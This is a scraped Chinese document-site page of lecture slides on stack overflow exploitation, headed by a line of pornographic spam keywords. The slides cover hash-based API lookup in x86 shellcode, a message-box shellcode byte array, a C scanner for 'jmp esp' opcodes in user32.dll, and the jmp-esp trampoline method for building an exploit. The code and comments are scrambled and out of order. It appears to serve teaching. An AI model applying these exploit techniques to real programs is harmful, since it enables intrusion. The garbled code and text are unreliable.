freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

cc漏洞shellppt課件(2)-文庫(kù)吧資料

2025-05-07 18:15本頁(yè)面
  

【正文】 e addr of ordinals table mov di, [ebx + 2 * edi] 。 pare to the requested hash (saved on stack from pushad) jnz next_function_loop mov ebx, [ecx + 0x24] 。 esi = absolute addr of current function name cdq 。 increment function counter mov esi, [ebx + edi * 4] 。 ebx = absolute addr of names table xor edi, edi 。 ecx = absolute addr of export table mov ebx, [ecx + 0x20] 。 eax = start of PE header mov ecx, [ebp + eax + 0x78] 。 with base address of find_functions: pushad 。 LoadLibraryA xchg eax, ebp 。 LoadLibrary(user32) jne find_functions xchg eax, ebp 。 load next hash into al and increment esi cmp eax, 0x1e380a6a 。 ecx = second entry in list () mov ebp, [ecx + 0x08] 。 ecx = pointer to loader data mov ecx, [ecx + 0x1c] 。 find base addr of mov ebx, fs:[edx + 0x30] 。 push a pointer to user32 onto stack mov bx, 0x3233 。 edi = addr to start writing function 。hash of LoadLibraryA mov esi,esp 。hash of MessageBoxA push 0x4fd18963 。 clear flag DF 。 printf(result of hash is %.8x\n,hash)。 } main() { DWORD hash。 fun_name++。 while(*fun_name) { digest=((digest25)|(digest7))。 導(dǎo)出表偏移 0x20處的指針指向存儲(chǔ)導(dǎo)出函數(shù)名的列表 . RAV和函數(shù)名按順序存放 . RAV加上動(dòng)態(tài)鏈接庫(kù)的加載基址 ,就得到 API此刻在內(nèi)存中的虛擬地址 . 2022/5/29 2022/5/29 shellcode的加載與調(diào)試 shellcode的最常見(jiàn)形式就是用轉(zhuǎn)義字符把機(jī)器碼存在一個(gè)字符數(shù)組中 . 例如 ,彈出消息框并能正常退出的程序的Shellcode可以存成這樣的形式 . 2022/5/29 2022/5/29 如下程序,改寫教材 P88(本章 ppt22)的彈出消息框并正常退出的程序 . 2022/5/29 include include char shellcode[]= \x66\x81\xEC\x40\x04\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0。 LibHandle = LoadLibrary(dllbuf)。 2022/5/29 2022/5/29 寫出的 shellcode的源代碼如下 : include include void main () { HINSTANCE LibHandle 。 2022/5/29 仍然用 dependency walker獲得這個(gè)函數(shù)的入口地址。 下載插件 ,把它放在 OllyDbg目錄下的 Plugins文件夾內(nèi),重新啟動(dòng) OllyDbg進(jìn)行調(diào)試,將 ollydbg里 ,在代碼框內(nèi)單擊右鍵,就可以使用這個(gè)插件了,如圖: 2022/5/29 2022/5/29 在制作 exploit的時(shí)候,還應(yīng)當(dāng)修復(fù) shellcode無(wú)法正常退出的缺陷。 done_flag = true 。 } } catch (...) { int address = ( int ) ptr + position 。 ptr [ position + 1 ] == 0xE4 ) {//0xFFE4 is the opcode of jmp esp int address = ( int ) ptr + position 。 position ++) { try { if ( ptr [ position ] == 0xFF amp。 for ( position = 0 。 exit(0)。 HINSTANCE handle = LoadLibrary ()。 int position, address 。 編程 通過(guò) OllyDbg的插件 2022/5/29 // jmp?esp對(duì)應(yīng)的機(jī)器碼是 0xFFE4 //從 0xFFE4,并返回其內(nèi)存地址(指針值) //include include include include void main () { BYTE *ptr。 user32 . dll,所以使用 user32 . dll中的jmp esp指令做為跳板。 2022/5/29 把 password . txt文件改造成上述思路的 exploit,并加入安全退出的代碼避免點(diǎn)擊消息框后程序的崩潰。這樣 jmp esp指令執(zhí)行過(guò)后會(huì)恰好跳進(jìn) shellcode。在淹沒(méi)函數(shù)返回地址后,繼續(xù)淹沒(méi)一片??臻g。 2022/5/29 2022/5/29 由于 ESP寄存器在函數(shù)返回后不被溢出數(shù)據(jù)干擾,且始終指向返回地址之后的位置,可以使用上圖所示的這種定位shellcode的方法來(lái)進(jìn)行動(dòng)態(tài)定位 : 用內(nèi)存中任意一個(gè) jmp esp指令的地址覆蓋函數(shù)返回地址,而不是原來(lái)用手工查出的 shellcode起始地址直接覆蓋 函數(shù)返回后被重定向去執(zhí)行內(nèi)存中的這條 jmp esp指令,而不是直接開始執(zhí)行 shellcode 由于 esp在函數(shù)返回時(shí)仍指向棧區(qū)(函數(shù)返回地址之后),jmp esp指令被執(zhí)行后,處理器會(huì)到棧區(qū)函數(shù)返回地址之后的地方取指令執(zhí)行。 紅色的線條則點(diǎn)出了這樣一個(gè)細(xì)節(jié):在函數(shù)返回的時(shí)候, ESP恰好指向棧幀中返回地址的后一個(gè)位置! 一般情況下, ESP寄存器中的地址總是指向系統(tǒng)棧中且不會(huì)被溢出的數(shù)據(jù)破壞。 2022/5/29 2022/5/29 因此必須想辦法在程序運(yùn)行時(shí)動(dòng)態(tài)定位棧中的 shellcode。 _asm { call p } } 2022/5/29 定位 Shellcode ,使用越界的字符完全控制返回地址后,需要將返回地址改寫成shellcode在內(nèi)存中的起始地址。 void *p=amp。 在 call eax行下斷點(diǎn) 然
點(diǎn)擊復(fù)制文檔內(nèi)容
教學(xué)課件相關(guān)推薦
文庫(kù)吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1